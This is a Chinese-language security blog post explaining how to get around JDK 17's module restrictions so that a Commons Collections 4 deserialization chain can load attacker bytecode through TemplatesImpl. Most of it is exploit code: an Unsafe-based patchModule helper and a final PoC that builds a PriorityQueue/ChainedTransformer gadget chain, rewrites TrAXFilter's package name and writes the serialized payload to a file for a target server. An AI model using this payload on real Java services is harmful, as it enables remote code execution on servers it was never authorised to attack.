Skip to content

jdk17绕过模块化系统利用TemplatesImpl

本文参考:jdk17&CC链绕过模块检测利用TemplatesImpl-先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class test_17 {
public static void main(String[] args) throws Exception {
System.out.println(Class.class.getModule().getName());
ClassPool pool = ClassPool.getDefault();
ClassLoader appClassLoader = ClassLoader.getSystemClassLoader();
pool.insertClassPath(new javassist.LoaderClassPath(appClassLoader));
CtClass clazz = pool.get("eval");
byte[] code = clazz.toBytecode();
CtClass clazz2 = pool.get(Evil.class.getName());
byte[] code2 = clazz2.toBytecode();
System.out.println(Base64.getEncoder().encodeToString(code));

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
patchModule(test_17.class,aClass);
System.out.println(test_17.class.getModule().getName());
Object o = aClass.getDeclaredConstructor().newInstance();
setFiled(o,"_name","111");
setFiled(o,"_bytecodes",new byte[][]{code,code2});
setFiled(o,"_transletIndex",0);

//setFiled(o,"_auxClasses",new HashMap<>());

FileOutputStream fos = new FileOutputStream("bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(o);
oos.close();

patchModule(test_17.class,eval.class);
System.out.println(test_17.class.getModule().getName());
// 从文件中反序列化对象
FileInputStream fis = new FileInputStream("bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Templates o1 = (Templates) ois.readObject();
o1.getOutputProperties();
ois.close();
}

private static void patchModule(Class clazz,Class goalclass){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}

public static void setFiled(Object templates, String name, Object values) throws IllegalAccessException, NoSuchFieldException {
Field declaredField = templates.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(templates,values);
}
}

从参考文章拿一下EXP简单分析一下,核心主要是patchModule函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private static void patchModule(Class clazz,Class goalclass){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}

获取一个Unsafe实例和目标调用对象的Module,接着获取module字段在Class.class内存中的偏移量,最后调用Unsafe#getAndSetObject,将当前class的addr对应的值改为目标调用对象的module。

这个patchModule的作用就是修改某个class的module字段值为另一个class的module,这样调用反射调用目标对象的方法或者字段就不会被模块化系统限制了

在没有用patchModule时

image-202509191302345

可以看到无法反射实例化TemplatesImpl

调用一下

image-20250919131158085

成功实例化,并且System.out.println(Poc.class.getModule())也输出的是java.xml

另外创建一个jdk17项目,模拟远程服务器。

原来cc链子

1
2
3
4
5
6
7
8
HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InstantiateTransformer::transform
TrAXFilter::带参构造
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass

在jdk8中这条链子可以顺利执行,但是在jdk17中第一个报错的点在调用TrAxFilter构造函数时

image-20250922154407844

TrAXFilter属于模块java.xml,而InstantiateTransformer是cc库的类,属于未命名模块,java.xml没有导出给未命名模块所以不能实例化TrAXFilter

所以直接用InstantiateTransformer#transformer实例化TrAXFilter,通过其构造函数调用templatesImpl#newTransformer是不行了

前文提到的patchModule方法可以改变模块,能不能通过某个方法在远程服务器上执行patchModule呢?

在其他cc链中有利用到InvokerTransformer,其tansformer方法可以调用任意方法

image-20250922155339044

patchModule的核心是Unsafe#getAndSetObject(Class targetClass,Long address,Module module),因为getAndSetObject不是实例方法,如果想要调用首先得获得Unsafe实例,因为Unsafe是不允许序列化的,所以只能在远程服务器获取Unsafe的theUnsafe字段,因为这个字段是private,所以还得调用setAccessible(true)

我感觉给InvokerTransformer#transformer传个Unsafe.class,获取其getDeclaredField,然后调用,这个方法就能返回一个Field字段,把这个Field通过ChainedTransformer传给下一个InvokerTransformer,调用setAccessible,但是setAccessible返回void,所以不能只用InvokerTransformer,需要找找其他transformer方法,看哪个能实现这个逻辑。

ClosureTransformer

image-20250923154949641

TransformerClosure

image-20250923155113694

将TransformerClosure放进ClosureTransformer.iClosure中就可以通过execute执行setAccessible,返回的还是Field,这样就可以调用Field.get()了

但是呢getAndSetObject(Object,long,Object),我们的第三个参数是Module,但是Module是不可以反序列化的,仔细想一想也很难通过链子动态创建Module放进第三个参数里面

那就去看看反射调用时的检测逻辑到底是怎样的,找找有没有地方能绕过

我在调试的时候犯了一个很愚蠢的错误,花了我很多时间

image-20250923205550413

我的第一个断点就是断在AccessibleObject这个类里面的,因为这个类是用来检测反射的,在程序运行的过程中肯定用的非常频繁,所以当我调试时断的地方不是我想断的,通过调用栈也可以看出来,这是在运行main函数之前,但是我一直没注意,就一直在这个地方调试,浪费时间了。

每次写文章我都喜欢半途而废。后面的调试部分又不想写了

最关键的地方是

image-20250923221420099

只要你包名是这个HashMap中的,就返回true,就能通过模块检测。pn是在哪里赋值的?

image-20250923221558073

image-20250923221638964

很明显就是Class的packageName这个属性。所以把TrAXFilter.class.packageName属性改成那个HashMap中有的就行

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.example.springonly;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class AnswerPoc {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassLoader appClassLoader = ClassLoader.getSystemClassLoader();
pool.insertClassPath(new javassist.LoaderClassPath(appClassLoader));
CtClass clazz = pool.get("com.example.springonly.Evil");
byte[] code = clazz.toBytecode();
CtClass clazz2 = pool.get(Evil1.class.getName());//这里随便一个类就行,code2凑数用的
byte[] code2 = clazz2.toBytecode();
System.out.println(Base64.getEncoder().encodeToString(code));

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
patchModule(AnswerPoc.class,aClass);
Object templates = aClass.getDeclaredConstructor().newInstance();
setFiled(templates,"_name","111");
setFiled(templates,"_bytecodes",new byte[][]{code,code2});
setFiled(templates,"_transletIndex",0);

Class<?> TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);

InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"),60,"javax.xml"});
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get",new Class[]{Object.class}, new Object[]{null});
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible",new Class[]{boolean.class}, new Object[]{true});
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField",new Class[]{String.class}, new Object[]{"theUnsafe"});
ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer,ClosureTransformer,invokerTransformer3,invokerTransformer4,constantTransformer2,invokerTransformer5};
Transformer keyTransformer = new ChainedTransformer(transformers);
// patchModule(invokerTransformer.getClass(),aClass);
System.out.println(TrAXFilter.getModule().getName());
System.out.println(invokerTransformer.getClass().getModule().getName());

TransformingComparator transformingComparator = new TransformingComparator(keyTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
patchModule(AnswerPoc.class,priorityQueue.getClass());
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.setInt(priorityQueue, 2);


FileOutputStream fos = new FileOutputStream("D:/bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(priorityQueue);
oos.close();

// 从文件中反序列化对象
// FileInputStream fis = new FileInputStream("bin");
// ObjectInputStream ois = new ObjectInputStream(fis);
// ois.readObject();
// ois.close();
}

private static void patchModule(Class clazz,Class goalclass){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}

public static void setFiled(Object templates, String name, Object values) throws IllegalAccessException, NoSuchFieldException {
Field declaredField = templates.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(templates,values);
}
}

其实参考文章中还提到了一种做法,将调用和被调用的Module都改为null,因为Module不可以序列化但是null可以被序列化

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.